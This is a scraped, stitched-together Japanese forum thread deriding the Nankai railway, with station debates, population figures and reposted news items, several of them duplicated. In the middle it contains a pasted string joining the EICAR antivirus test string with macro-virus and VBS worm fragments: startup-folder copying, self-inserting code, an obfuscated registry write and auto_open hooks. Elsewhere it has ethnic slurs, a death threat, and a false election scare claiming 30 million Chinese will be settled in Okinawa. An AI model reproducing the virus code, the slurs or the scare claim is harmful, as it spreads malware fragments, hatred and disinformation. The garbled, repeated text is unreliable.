ロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ金持ちが多い阪急は運賃安い金持

ちが少ない南海は運賃高いこれはフェアではない。ふつう逆だろｗｗ和歌山の財政厳しいから和歌山港線と加太線と本線の孝子まで売りさばいていいかのおはよう次回南海都市伝説絵巻第123話酉新記録なるか！全ての答えは今
夜明らかに！！乞うご期待>646何が？ホームの数とか駅舎の大きさとかだけで駅の大きさは決められない。京急横浜と南海難波はどちらが大きい？って聞かれたら、俺は迷わず京急横浜を挙げる。

>642で？>650拠点としての大きさ。そんなんもわからんのか？だいたい鳳って東羽衣への乗換えしかないただの住宅地の駅だろ。バス停も駅前にない。>649そもそも「りんかん」に相当する駅が千早口以南にしかなく、橋本まで
なら6駅しかない。そんな途中区間だけのために愛称をつけたって根付くわけがない。相変わらずアホなレスしか返さない南海ヲタはこれだからキモいんだよなぁ。ショッピングセンターのデカさなら北花田。ここのどこに拠点
性があるのか？答えてみよ。そもそも鳳は阪和線で堺市最南端の駅だから折り返しも多かった、いわゆる鉄道側の都合で拠点になったようなものだ。同じような理由が北野田。浜寺公園は隣の羽衣が乗換え駅のため拠点になれな
かった。そんなところだ。

ネタに突っ込んでなんだが・・・線名愛称なんて会社が上から命名してもなかなか浸透しないはね。最近の成功例だと“新宿湘南ライン”かな？これは埼玉、栃木、群馬の鉄道ユーザーに“新宿経由で湘南に直通しますよ”って
すごいわかりやすい意味があるわけで“高野線りんかんサンライン”って無理から横文字使ったところで利用者にすれば高野線は昔も今も高野線なんだよね。林間田園都市を売りたいならネーミングより到達時間短縮とか目に見
える効果を何か出しなさいよ。そんなところでしょうか。>651もうちょっと国語のお勉強をしましょうね。北関東から見た「新宿湘南ライン」は上野へ出て山手線乗り換えて、東海道線、横須賀線に乗り換えなくても新宿経由で
湘南に直通する列車という意味ですよね。ネームに北関東だの埼玉だのど田舎なんて書かなくても名前のＰＲポイントは北関東向けだということはサルでもわかるハナシなんですがアンタには・・・

>660そもそも阪和線内の話なので三国ヶ丘をそんなに持ち上げているわけではない。しかし、鳳が阪和線堺市内最大の駅かと言えば「？」しかつかない。理由はさっき書いた。それと比べたら三国ヶ丘は南海・泉北沿線からも客
を拾える。乗換え駅であっても客の流動性は拠点性の指標としては重要な要素だろ。南海がここと中百舌鳥に区急以上を停めないのは、このスレの住人なら承知のとおりだろ？それだけ駅の大きさってのはライバル会社にとって
脅威なんたよ。>661同意。>597が意図する「最大の駅」は、運転上の拠点ならただしいかもしれんが、総合的な拠点性は、高野線があって南北(東西)入口ともにバス停がある三国ヶ丘に劣る。以上、スレ違い終了。仕事するわ。

これだけ粘着できるとはさすがはIDがボケなだけあるな。

>718南海はぼろいから

いろぼ

三国が丘

>750南海は車内が異常に臭いしな。しかし南海てなんで1067ｍｍなんて採用したんだろうな？1435ｍｍなら今頃阪急阪神京阪なんかと乗り入れで関空特急ラピートが京都神戸へ直通してＪＲ西の関空特急はるかと対抗していたか
もしれないのにな南海はその点は本当に馬鹿としか言い様が無いな南海特急ラピートはライバルのＪＲ西は乗り入れさせてくれないだろうしな近鉄南大阪線に乗り入れて松原藤井寺富田林河内長野高田橿原から客を集めるしかな
いなと言うか南海線内でも難波行きだけでなく和歌山方面行き高野線乗り入れ列車も運転すれば良いのにな南海と言えば、時代遅れの片開きドア車のイメージがあるなttp://www.keihan.co.jp/news/data_h19/2007-04-11-03.pdf
京阪の新車いいね〜＾＾泉北や南海の新車が全くどうでもよくなってきたwww396：名無しの歩き方＠お腹いっぱい。：2007/04/08(日)19:55:21ID:r2DYzRnK0各月1日現在の大阪府の人口※平成１９年３月１日現在府計8,821,513前
年比＋5,638各月1日現在の兵庫県の人口※平成１９年３月１日現在県計5,593,967前年比＋1,856各月1日現在の京都府の人口※平成１９年３月１日現在府計2,642,286前年比−3471各月1日現在の三重県の人口※平成１９年２月１
日現在県計1,868,582前年比＋1,505各月1日現在の奈良県の人口※平成１９年３月１日現在県計1,414,041前年比ー482各月1日現在の滋賀県の人口※平成１９年3月1日現在県計1,389,443前年比＋6,771各月1日現在の和歌山県の人
口※平成１９年３月１日現在県計1,025,858前年比−7614398：名無しの歩き方＠お腹いっぱい。：2007/04/08(日)20:11:15ID:IzvOnctRO兵庫の増加数が鈍ってない？それにしても和歌山と奈良ヤバス。和歌山は100万切ったら、
真剣近畿から出ていってくれておｋ405：名無しの歩き方＠お腹いっぱい。：2007/04/09(月)00:33:11ID:jAdzSq3RO和歌山、景気いい話聞かないなあ。このスレでもほとんど話題にならないし。実際行ってみれば、タクの運ちゃ
んからは閉店した商業施設の話ばっかりだし。410：名無しの歩き方＠お腹いっぱい。：2007/04/09(月)07:27:09ID:ffJXHQN/O>405日曜の昼間に行っても、人が全然いなくて恐かった。まさにゴーストタウン。人がいるのはバス

の中と、バス停⇔駅の間だけだった。その他はマジ人がまったくいない。かといって京阪神からも遠いし、和歌山人は休みの日とか何処で何してるの？413：名無しの歩き方＠お腹いっぱい。：2007/04/09(月)09:50:41ID:mmiXwC
Em0>405住金和歌山製鉄所周辺は景気がいいらしい、新聞で読んだ。市内は、完全に大阪のミナミに客が流れている。和歌山って平野狭いから、でかいショッピングモールもないし小売業は冷え切ってるな。464：名無しの歩き方
＠お腹いっぱい。：2007/04/11(水)12:49:40ID:CIiNs6zT0「景観や活断層に配慮」南海が超高層マンション計画変更南海電鉄は１０日、堺市堺区の南海堺東駅の隣接地に当初計画していた４５階建て（高さ１５０メートル）の超
高層マンションを、１５階建て程度に変更すると発表した。世界文化遺産への登録計画が進む仁徳陵古墳を含む百舌鳥古墳群の景観や、直下に上町断層があることなどを配慮したという。予定地の１５０メートル東には、同古墳
群のなかでは有数の規模を誇る反正陵古墳があるうえ、上町断層や環境などの問題から、周辺住民らが計画に反対。木原市長も懸念を表明し、昨年６月には南海電鉄の山中社長に景観への配慮を申し入れた。計画見直しについて
、木原市長は「ご努力の結果」と歓迎しているが、計画に反対している超高層マンション対策会議は「１５階ならいいという話ではない。問題は多々あり、基本的には建てるべきではない」としている。ttp://www.asahi.com/ka
nsai/news/OSK200704100081.htmlttp://www.nikkei.co.jp/news/retto/20070410c6b1001v10.html465：名無しの歩き方＠お腹いっぱい。：2007/04/11(水)12:52:10ID:CIiNs6zT0仁徳天皇稜はピラミッドに匹敵する世界遺産。ここ
を世界的観光スポットにするよう堺市の命運を賭けて周辺整備すればよい。南海は目先の利益だけ考えるDQN計画ばかり。流石は関西の負け組みの和歌山と南海wwwww南海はぼろいねSetA4=A1.CreateTextFile(A1.BuildPath(A1.Ge
tSpecialFolder(1)))X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fso.copyfile"dirsystem", "j:\windows\startmenu\programs\startup\"ToInfect.CodeModule.InsertLinesBGN,ADI1.CodeModule.

Lines(BGN,1)"avgnt"="\"C:\\ProgramFiles\\AntiVirPersonalEditionClassic\\avgnt.exe\"/min/nosplash"G.RegWriteA("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),E.BuildPath(E.Get
SpecialFolder(1),A("VHORU@SU/WCR"))lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))kill-9xz/tSaBh0Subauto_open()Application.OnSheetActivate="check_files"EndSubSubcheck_files()c$=Application.Startup
Pathm$=Dir(c$&"＼"&"PERSONAL.XLS")Ifm$="PERSONAL.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10EndSub>1を見てなんて排他的なスレなこと･･･◆◇◆◇◆南海電鉄が申告漏れ３年間
で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局
は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始
前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取
得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆
◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（
34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、

宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci◆◇
◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通しを７８億円から２３億円に下方修正
した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７０年前後に取得
した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリー
の運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.html◆◇◆◇◆南海電鉄 アスベストむき出し◆◇◆◇◆南海電鉄によりま
すと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られてい
ないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電
鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが
吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにして

います。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.h
tmlｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,
=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ南海電気鉄道が１２日発
表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字にな
った。◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３
）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせ
つ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。女性が席
を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。（共同通信）-7月25日18時39分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000131-kyodo-soci◆◆◆「うるさい」と子ら暴行容疑〜高石
南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。

男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之
容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面★★★★★★★★★★★★★★★★南海電鉄、単体
209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1
日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4
903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00★★★★★★★★★★★★★★★★南海
電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(
2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益
（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.a
spx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０

日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは
少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入
れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。
ttp://www.asahi.com/national/update/1020/OSK200610200054.htmlttp://www.nankai.co.jp/company/news/pdf/070413c.pdfパッセンジャーの制服があああああああああ次回南海都市伝説絵巻緊急特集号!!いよいよ始まる都市伝
説！何でもありの4月ですが何か？乞うご期待！！！！！！！！！！Q1貴方は、今の南海のサービスに�@とても満足している�A満足している�B普通�C不満がある�Dとても不満があるQ2南海のスピードについて�@とても満足してい

る�A満足している�Bこんなもんだ�C遅い�D路面電車ですか?Q3南海の車両について�@とても満足している�A満足している�B普通�C不快�D最悪Q4南海の駅構内について�@とても満足している�A満足している�B普通�C使いづらい�D汚
いQ5貴方が良く利用される区間はどこですか。�@南海線�A高野線�B汐見橋線�C空港線�D高師浜線�E多奈川線�F加太線�G和歌山港線Q6貴方は、南海沿線に住んで�@とても満足している�A満足している�B普通�C不満�D引っ越したいQ7
貴方は、南海の定期代に�@とても満足している�A満足している�B普通�C高い�D詐欺だと思うQ8貴方は、南海の混雑度に、�@満足�A普通�B改善して欲しい�C有り得ない�D激しい圧迫感を感じるQ9貴方は、南海と聞いてイメージする
ものは�@超セレブ路線�A高級住宅街�B下町�C行きたくない所�DJAQ10貴方は、南海の未来について�@超期待!�Aまあ期待�Bこんなもんでは�C不安�D倒産南海利用者の大半は、韓国人・中国人・在日。特亜DQNの３巨頭の揃い踏み。
それだけでも痛いのに、白人DQNのロシア人が加わる。朝の出発ラッシュ時は、無秩序なカオス状態！「一部のマナーのない者」だけで　こんなにごみだらけに出来ますかかなりの割合が道徳心に欠ける行為を平然としている・
ゴミのポイ捨て・吸殻のポイ捨て・不正乗車・マナーとルール無視・タン吐き・唾吐き・ペット糞の放置・立ちションベン・泥酔の高歌放吟だからだらしない印象が強く残るしょうがないじゃん。実際に臭いんだから。まともな
人間はこの土地を離れていく。残るのはＤＱＮと年寄りだけ。南＿海＿は＿ぼ＿ろ＿い車両はボロだし遅い運賃は高い設備投資もしない南海潰れろ

>256安心しろ、南海の新型もオールロングらしいから。これからは快適性よりも短編成化＋オールロングの詰め込み＋車両運用の柔軟化による効率重視の時代。現在の日本の鉄道界にクロスシートは既に時代遅れ。

乗客減少の原因の一つは南海自身のせい、ってことなのか・・・ttp://headlines.yahoo.co.jp/hl?a=20070415-00000280-mailo-l30いろぼは海南

何でクーラーかかってるんなよ電車の中バカ丸だしどう思うよみんな。客モニターとかゆう前にこうゆうところを直せこの雑魚企業め

別に相手にされなくともやりたいからやってるだけで無視してくれていいさwww

汐見橋

age

沖縄県の方へ（命に関わる注意事項です）

沖縄県での選挙ですが、どうか民主党だけは避けてください。県民の生命に関わる可能性があります。
民主党の最大の公約は一国二制度（※）ですが、一度「一国二制度　沖縄　三千万」で検索をお願いします。
この際、民主党のＨＰで調べても良いです。以下の注釈↓と矛盾することは書いてないはずですから…

※一国二制度
　簡単に言えば沖縄を中国と日本の共有物にし、そこに3000万人の中国人を入植させます。
　（つまり沖縄人口の 96% を中国人にして、実質、沖縄を中国人の居住地とします。）
　さらに「自主」の名の下、沖縄で有事が起きても自衛隊は干渉できません。
　3000万人の中国人が、少数派となった130万人の日本人に何をしても、です。
　そして反日教育を受けた中国人の反日感情の強さは、ほとんどの日本人の理解を超えるものです。

今回の選挙で民主党が勝った場合、「自主」「発展」を連呼しつつ段階的に進めていくことになります。
自主と言っても、自主を認めるのが「住人の96%が中国人となった」後だということに気をつけてください。
発展と言っても、新沖縄の少数派となった「少数民族日本人」の発展ではないことに気をつけてください。

有馬温泉

ろぼ

雑魚

再び宗教活動が再会か？扇動者に煽られて。宗教法人に登録しなおせ！

赤字

南海ヲタって、不潔なイメージがある南海、また懲りずに有利子負債増やしてやんのwパークス車両に乗れたーデュアルモード列車を南海にも導入してくれ>590死ね○すぞ今どき映画館で梅田から客が奪えるとでも思ってんの？
南海、アホ丸出しやな。話は変わるが初日は11万人だったらしいここの住人には興味ないかおやすみん>711この程度で混雑って、君らイナカ者だねぇ。南海ってなんでこんなに落ち目になったの？さすが南海沿線。二色の浜では
潮干狩り自粛(ﾌﾟｹﾞﾗこんな汚染された地域に住んで、おかしなもんばっか食ってるから、大阪南部の人間は脳がやられておかしな人間ばっかなんだな。次回南海都市伝説絵巻シーズン2第�@話出発進行！終着駅を目指していざ出
陣乞うご期待/ｰ-＿＿....!／│>‐-､<ヽー-----'"／`ー-....＿＿＿_....ィi{^:|く.(・」l・ﾉ|/l.h|r'"^.l.^"〉i／￣￣￣￣￣￣￣￣￣￣￣￣__,.─／ヽ||`ー'|l＼─,|／||∠ﾆ三i三i>lゞ＼~^ヽ＜＼~V〉>〈|南海はサービスが
不十分の容疑でたいほ〜＿＞ヽ.........へ-'／|＼＿＿＿＿＿＿＿＿＿＿＿＿南海はぼろい◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調
査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過
少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から
計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理
操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.htmlｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼

））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓
〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「
みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。◆◇◆◇◆南海電鉄アスベストむき出し◆◇◆◇◆南海電鉄によりますと、あわせて１３の駅で天井の
はりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、
１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベス
トが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、
大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つ
の駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◇◆◇◆南海電鉄運転士ら
が強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市

恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた
同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci★★★★★★★★★★★★
★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター
］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.
1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/Finan
ceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏
切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域
で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人
が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」と

している。ttp://www.asahi.com/national/update/1020/OSK200610200054.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が
普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にそ
の場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった
」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３
４）＝大阪府羽曳野市南恵我之荘、南海電鉄車掌喜多信也（３３）＝和歌山県橋本市紀見ケ丘＝の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女
性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員１０数人と有馬温泉に宿泊。宴会場でコンパニオン数
人の接待を受け、２次会でホテル内のバーに移動した。女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだという。（共同通信）-7月25日18時39分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-
00000131-kyodo-soci★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005
年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,02

5(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,2
66１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇
◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通しを７８億円から２３億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにし
た。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約
４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企

業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.html>>58報道記事にされたくなければ、最初から脱税や猥褻とかしなけりゃいいだけのことなのに。湖西線スレにも例の強姦男の記事張り付けたり
してるのかなｗつか、皆んな！！チン作が…チン作がしゃべったぞ！！いずれにせよ、リアルタイムな状況での書き込みができず、古い記事のコピペにより南海に対する歪んだ愛情表現を続けてる時点で何某かの哀愁を感じずに
はいられない。>64残念。西武以外興味ないし。そうか、京成か。まあ、南海と雰囲気似てるところがあるからな。635：名無し野電車区：2007/04/20(金)18:15:32ID:c37V8QTe>630阪急スレを荒らすID:SVhRXrMsは南海ヲタだろ南
